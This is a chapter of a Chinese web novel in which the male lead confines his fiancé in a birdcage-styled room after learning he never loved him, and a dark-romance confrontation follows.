顾砚礼低下头,轻吻叶寒枝的唇,眉宇间的笑却带着几分涩然,他喃喃自语着,“对不起,要把你困于囚笼。” 鸟儿一旦离开了笼子,就会迫不及待想要飞走,不知道会飞向哪里,但肯定会是顾砚礼抓不住的地方,所以顾砚礼要在鸟儿飞走之前,彻底地……紧闭着鸟笼。 是寒枝先靠近他的,是寒枝说的喜欢他,那就要一直喜欢着,一直留在他身边。 想要和季肖一起离开这里吗? ——绝无可能。 24.金丝雀24 叶寒枝醒来的时候脑子有些晕乎,揉了揉脑袋,忽然一顿。 他看着自己手指上的戒指,眨了眨眼,“这是……顾砚礼送的那枚戒指?”离开浅水湾那天他放在了桌上,现在又回到了他的手上,一看就知道是顾砚礼戴的。 叶寒枝轻轻转动了一下戒指,他一直很疑惑顾砚礼怎么能这么轻易地知道他的尺寸,只是牵牵手就知道了吗?还是说这也是男主的能力? 算了,这些跟他没什么关系,现在最重要的是顾砚礼……嗯? 这个房间,怎么有点熟悉又完全不熟悉的样子,是他原本住的房间吗?不像,毕竟这装修,和他之前住的房间称得上是两模两样。 「我就说了他要和你做恨吧。」肥啾幽幽道,「瞧,多华丽的装修啊。」 华丽…… 没错。 这个房间对叶寒枝来说无比陌生,床——与其说是床不如说是华丽的鸟笼,蔓藤和玫瑰缠绕在鸟笼上,笼上挂着一盏小吊灯,正散发着橘色的光芒,是黑暗中唯一的光,看起来竟有几分温馨。 而他却如同笼中之雀。 叶寒枝从床上坐起来,他抬手摸了摸旁边的围栏,琢磨了片刻,「顾砚礼搞这么半天就是想关我小黑屋啊?」 「啾。」 「这鸟笼还挺漂亮的。」叶寒枝客观评价,「顾砚礼审美不错。」 「你不生气吗?」 「我为什么要生气?」叶寒枝乐了,「他越这样做越脱离原本的设定,我就是要让他痛苦啊。」 「我怕痛苦的是你。」肥啾说,「……不如再仔细看看床头呢。」 叶寒枝疑惑地回过头去,床头的围栏是挂着锁链,看那尺寸,应该是锁手上的。 「他准备得真齐全啊,你出不去了。」肥啾怜悯地说,「现在怎么办?」 还能怎么办?顾砚礼想玩他就陪着玩呗,这样看,他真是对顾砚礼可真是宽容啊……这怎么不是一种爱呢? 肥啾回忆了一下叶寒枝和顾砚礼摊牌时的场景:「你的爱真让人害怕。」 叶寒枝:「滚。」 他下了床,发现笼子没上锁,他能推开,不过房间的门锁上了,「这顾砚礼,真把我当鸟了?」 「不是你自己说要当他的金丝雀吗?啾。」 「我请问呢。」叶寒枝皮笑肉不笑,「你应该站我这边吧?」 「对不起。」肥啾说,「我只是陈述你说过的话,没有别的意思。」 叶寒枝哼了一声,他摸了摸口袋,停顿了片刻,衣服被换过了,手机自然也被顾砚礼拿走了。 ——手机被拿走了。 手机! 「顾砚礼好恶毒啊。」叶寒枝咬牙,「竟然想让我在这里闷死。」 肥啾:「……」看不出来,叶寒枝还是个网瘾青年。 叶寒枝兀自闷了一阵,忽而抬头看去,他看到了墙角亮着红光的摄像头,顾砚礼在房里安装了摄像头。 ——啧,好变态啊。 平时温柔的男人黑化起来会玩的花样挺多的嘛。 叶寒枝重新坐回床上,他盯着头顶的小灯看了片刻,眸光闪动了一下缓缓看向房门处。 他听见了脚步声。 男人的脚步声沉稳,停在了门口,然后……门开了。 走廊的灯光照射进来,昏暗的屋子瞬间亮了起来,叶寒枝平静地和端着东西的顾砚礼对视。 顾砚礼把食物放在桌上,他声音一如既往地温柔,“寒枝把眼睛遮一下,我开灯。” 叶寒枝没有动作,只看着顾砚礼的动作,顾砚礼开了灯,他朝叶寒枝伸出手,“先吃饭吧。” “顾砚礼,你这是打算做什么?”叶寒枝避开顾砚礼的手,淡淡问,“打算囚禁我吗?” “不是。”顾砚礼兀自扣紧叶寒枝的手,声音温柔到近乎缥缈一般,“我知道你是太累了,你说的都不是真心话,所以你需要好好休息一阵。” 叶寒枝声音平稳,“非法剥夺他人人身自由是犯法的。” “我不会禁锢你的自由,你只是太累了,需要好好休息。”顾砚礼说。 “你搞了那么一个笼子还上锁,现在你告诉我不是禁锢我的自由?”叶寒枝没忍住冷笑,“你看我像是很好骗的样子吗?” 顾砚礼瞥了一眼笼罩着床的鸟笼,轻笑一声,“外面太危险了,我只是怕我不在的时候你会因为离开这里受伤,你不喜欢的话我不会锁。” 叶寒枝抬眸看着顾砚礼,微眯了眯眼。 男人冲他露出与往常无异的笑,“先吃饭吧。” “我的手机呢?”叶寒枝冷冷问。 “我等会儿给你。”顾砚礼轻声说,“先吃饭好吗?” 这么好说话或许一开始这个男人就没打算囚禁他,只是为了吓吓他? 可惜了,他不是什么会被吓到的人,老实说,他还挺想和顾砚礼玩强制爱……唔,毕竟温柔善良的男主对反派强取豪夺,何尝不是另一种反派呢?这种身份上的转换在某种意义上满足了叶寒枝一开始的想法。 ——让顾砚礼堕落下去。 那么仅仅是这样还不够啊,叶寒枝慢慢地舀着粥想,完全不够,他要让顾砚礼彻底、彻底堕入与他一样的、褪去那身虚伪的温柔。 叶寒枝愉悦地弯起眼睫,顾砚礼在一旁看着叶寒枝的侧脸,视线落在叶寒枝弯弯的眉眼上,“好吃吗?” “不错。”叶寒枝说。 “喜欢就好。”顾砚礼说,“吃完要不要下楼消消食?” 叶寒枝眨了眨眼,“挺好的。” 顾砚礼眼中恢复了些许亮光,叶寒枝的态度让他坚信叶寒枝还喜欢他。 “寒枝,我——” 手机的震动打断了顾砚礼的话,顾砚礼看了一眼来电显示,默不作声地按了挂断。 叶寒枝看得清楚,来电人是季肖,想必是因为季肖没找等到他,所以给顾砚礼来电了。 那边的人不依不饶地又打了过来。 叶寒枝放下勺子,勺子碰着瓷碗发出清脆的声音,吸引力顾砚礼的目光。 “不接电话吗?”叶寒枝问。 “太吵了。”顾砚礼声音极低,“他好烦。” 叶寒枝眉梢微扬,太吵了? “为什么他总要来打扰我们相处?”顾砚礼似乎很费解,他把叶寒枝的手握紧,“寒枝,你说他怎么好像看不懂情况一般,怎么总是打扰我们?” 叶寒枝:“……” 顾砚礼这是在装傻还是脑子不正常了? “他好烦。”顾砚礼又重复了一句,他凑过来亲了亲叶寒枝的脸,眸光温柔,“你放心吧,我不会让他来打扰你的。” 叶寒枝轻嗤一声,把自己的手抽回来,伸出大拇指擦了一下被顾砚礼亲过的地方,“你有没有发现,其实我也挺烦你的。” 顾砚礼神色不动,只道,“你只是因为怕自己的过去被爆出来连累我,你喜欢我,我都知道的。” “我都说了,说喜欢你只是骗你罢了。”叶寒枝忍无可忍,对顾砚礼的自欺欺人感到可笑,他忽地抓住了顾砚礼的领带用力把顾砚礼拉到自己面前,眼里带着轻嘲,“从头到尾,都在玩弄你,因为知道你有个白月光,所以装作他那副柔软的模样靠近你——我可不是什么娇滴滴的小少爷。” “白月光?”顾砚礼这才回忆起那天叶寒枝的确和季肖说过这样的话,他终于给自己找到了理由,他终于知道叶寒枝为什么要说不喜欢他了,这让他迫不及待地和叶寒枝解释,“没有什么白月光。” 叶寒枝冷冷地看着他。 “宝宝,没有白月光。”顾砚礼不愿看到叶寒枝冷漠的表情,他把叶寒枝困入自己怀中,在叶寒枝耳边低低地呢喃,“我从头到尾,只喜欢你过你,你说的那个人我和他不熟。” 叶寒枝皱眉,“顾砚礼,这种事情说谎并无意义。” “对啊,这种事情说谎没有意义。”顾砚礼亲了亲叶寒枝的后颈,“所以我没有说谎,没有什么白月光,一直都没有,从小到大只喜欢你。” 虽然叶寒枝打定主意要让顾砚礼过得不开心,却也知道顾砚礼不会说这种低级的谎话,这让叶寒枝意识到肯定是哪里出了错。 是系统?他从没有怀疑过系统,系统有时候的确蠢,可也不至于在这种事情上犯这样的低级错误,白月光肯定是存在的,所以是怎么回事? 只能问问系统。 叶寒枝缓缓抓紧顾砚礼的衣服,「顾砚礼的白月光到底是怎么回事?」 肥啾也被顾砚礼这几句话砸得CPU都快干了,它连忙重新翻资料 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“闭嘴!”叶寒枝眉宇阴郁又冷沉,却让顾砚礼的心口疼起来,顾砚礼为叶寒枝心疼,他很想抚去叶寒枝眉宇间的不开心。 叶寒枝讽刺地笑了一下,“你知道我最想要什么吗?” “你想要什么都可以和我说。”顾砚礼声音有些干涩。 “那天我说讨厌你,其实还没说完。”叶寒枝双手环胸,他虽然比顾砚礼矮,此刻抬着下巴却又能居高临下地用目光审视的看着顾砚礼,“我想要你一无所有,想让你众叛亲离,想让你过过无父无母的日子,想让你越痛苦越好——越和你相处,我越是这样想。” 听到这里漂浮在叶寒枝身边的肥啾没忍住看了一眼叶寒枝,其实很多时候连它也不知道叶寒枝说的话是真的还是假的,就像现在。 ——不过假话说了太多,或许连叶寒枝自己也不知道自己是不是说的真话了。 顾砚礼紧紧地盯着叶寒枝,他试图从叶寒枝的脸上找出一丝叶寒枝在开玩笑的表情,可是很遗憾,那双覆盖着一层笑意的双眼,还有微扬的唇都在告诉顾砚礼,叶寒枝说的都是真话。 叶寒枝就是这样一个恶劣又鬼话连篇的人。 接近他寻求庇护是假的,喜欢是假的,说离不开他也是假的,答应和他结婚也是假的,都是为了看他痛苦。 所以不喜欢他。 叶寒枝不喜欢他。 是真的不喜欢,没有什么苦衷,是他自欺欺人地想心里找了许多理由。 就算是这样又有什么关系? 现在不喜欢,那就以后喜欢,以后也不喜欢,那么只要这个人也可以。 顾砚礼倏地攥紧叶寒枝的手,瞳孔里映照出叶寒枝漠然的脸来,他一字一顿,“你在说谎。” “你爱我!” 叶寒枝垂眸看了一眼被顾砚礼攥紧的手,轻笑,“怎么?生气了?” 生气还有点帅,果然爱恨交织才是最好吃的一款感情,特别是看到这种温柔的男人恨起来。 想让这个男人更痛苦一些。 “你爱我。”顾砚礼逼近叶寒枝,瞳孔里映照出叶寒枝毫无情绪的脸,“叶寒枝喜欢我,你说的。” 叶寒枝抽了抽手没能抽出来,他淡淡道,“差不多得了,把手机还给我,我该走了。” “走?”顾砚礼笑了一下,却已经没有半分之前的温柔模样,他的呼吸洒落在叶寒枝的耳廓,“去找季肖吗?” “与你无关。”叶寒枝说,“反正不想待在你这里。” “你是我的未婚夫。”顾砚礼的手按上叶寒枝的腰微微使力,轻而易举地把叶寒枝抱进怀里,眼深喑不见底,“你的事全都与我有关。” 叶寒枝只冷淡地看着顾砚礼,他的不为所动让顾砚礼浑身都泛着凉意。 “我唯一的要求就是你得留在我身边,留在我身边爱我,看着我,和我在一起。”顾砚礼的手指轻抚叶寒枝疏冷轻佻的眉眼,“你想要什么我都给你。” 叶寒枝轻轻挑眉,想要什么都给他?这种话还真是说得轻而易举,让人生厌。 顾砚礼亲吻叶寒枝的眼睫,将那双毫无感情的双眼遮住,“不仅仅是资源而已,你想要取代我的位置,你想看我痛苦,我也给你。”